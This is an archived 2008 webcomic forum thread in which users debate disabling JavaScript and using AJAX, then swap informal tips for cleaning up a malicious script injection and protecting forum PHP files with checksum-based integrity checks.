Twokinds ARCHIVE Forums

Weird. It works for me. I don't know why it wouldn't go for you...

It requires javascript of course... *slaps himself*
Works perfectly now ^.^

:P

I will never really understand how people who turn off Javascript get around on the Internet. It's 2008. Javascript is one of the fundamental underpinnings of the modern Web. I understand the reasoning for it, but I figure that it's too crippling in this day and age to really be useful in any large context.

Noscript is blocking said java excerpts. I just prefer not to enable it.
It also blocks embedded content (that require plugins, like flash) which I can conveniently enable by clicking on the place holder. I do hate it when websites give me that annoying "This site requires java script" so I can't enable that specific content...

Really, this *is* 2008. There are so many exploits out that use Javascript, its not surprising why people disable it.
Personally, I feel that you ought to build a site that works with Javascript off. It may look better, and have rollovers/instant content loading with it on, but it ought to work with Javascript off. Really, with PHP being so easy to use, you shouldn't have any reason not to have a backup method that works without Javascript(When JS is on, and you click a link, it doesn't do anything but pops open a window/changes something in page. With JS off, it loads the new page in a new window(HTML Target does that for you), or loads the current page with the edit already made, the source being changed via PHP on the server side).


-RobbieThe1st

Unfortunately, while a noscript method is ideal, some things are simply too unwieldy (or occasionally impossible) to implement without AJAX and other Javascript-based tools. It's like using table-only formatting, or building a house only using nails (no screws). Sure, it can be done. And in the case of table-only formatting, sometimes it must be done that way. But that doesn't make it better.

The big problem with a fully-functional noscript site is expense. It's expensive to write the site twice, with the second method not only being longer and more complicated, but tiny percentage of visitors will ever even see it. And it's unrealistic in 2008 to write the site around that method -- it's like trying to sell RTSes in the console market. You'll have a few people who appreciate it, but most of your audience will be frustrated by the old, "backwards" way things work, particularly how much more slowly things take to do. If you can get away with it, that's awesome. However, most commercial development can't. We have potential customers to woo. If the site isn't quick, efficient, streamlined, eye-catching, and attention-holding, you're going to lose people. Having gone from an old multi-tiered chain of combo boxes to a set driven by AJAX for one of our major sites at work, I can tell you exactly how much better the world works when you have all your tools at your disposal. Now I'll admit, I think we've recently reimplemented a way to walk through the choices without Javascript, but it's slow and clunky. It feels like the workaround it is.

Exactly.


Okay, more seriously, AJAX is the term used to refer to the use of a particular Javascript construct. It lets you make more requests to a server once you already have a page, so you can submit or retrieve data without the flicker of completely refreshing a page. It allows things to "just happen" almost instantly. It's one of the most important construction blocks of what is called "Web 2.0."

.........?

Wow...I'm ashamed to admit I was once a CompSci major...I honestly didn't understand 90% of the discussion here...
o.o

I still don't have the slightest idea as to what I should be looking for on my comp, how to find it, or what it could do if I left it alone...
XD

Take a look in C:\Documents and Settings\All Users\Start Menu\Startup (assuming you're on XP) and see if there's an entry called browser.exe, and check the Task Manager if there an entry called "~.exe". According to KitWiz, do a search for it and delete it. (I never got that far through tracing what the scripts did because my modem decided to crash mid-trace.)

Hmm, good point. I still like to control exactly what is (not) allowed in my browser. I'll take any uncomfortable side effects that come with it. And besides when you really need javascript I just enable it temporarily.

There may be another way to help correct a malicious script injection...
A PHP file that contains the other php files used by the forum in an encrypted form stored as constant values, a moderator or administrator can be allowed access the corrective php page and when they select the proper control, the php code will examine the respective php files and if they had been altered from their original state it will then overwrite the entire file with the correct php code to eliminate the injected scripts.

Essentially monitoring files, and replacing them with the originals if they change, right? Only problem is with upgrading any files to a newer version - you'll need to remember to update the corresponding files in the corrective PHP file. Though that should be fairly easy to do. Quite honestly, it might not even be necessary to store it in encrypted form - As far as I know, most attack scripts are hardcoded to only change certain files (relative to a directory of course), so the corrective PHP file wouldn't even be touched. Or if they use a 'shotgun' approach, injecting scripts into *.php, the corrective file itself would be compromised. Alternatively, if someone specifically hacks into the server to modify files, they might just remove the corrective file.

So the corrective file should be stored elsewhere to prevent tampering, but then that prevents the corrective file from doing anything because it would be run in another context. Maybe a combination of a PHP file which calculates the checksums (smaller than storing a copy of all the PHP files, which means it would be less likely to be noticed), then a known good file with the original PHP code that the admin can store elsewhere and copy over if need be? (ie. a checksum calculation has failed?)

And for good measure, chmod 755 ./* everything in the web server directory.

Perhaps a more modular approach then? An executable kept on Tom's end that will compare the PHP files on whatever webserver he is using and if they do not match the files saved in a master copy folder on his computer then it will automatically replace the files on the server, and then schedule the executable to run on Mondays and Thursdays to make it hassle free once it's all been set up ^_^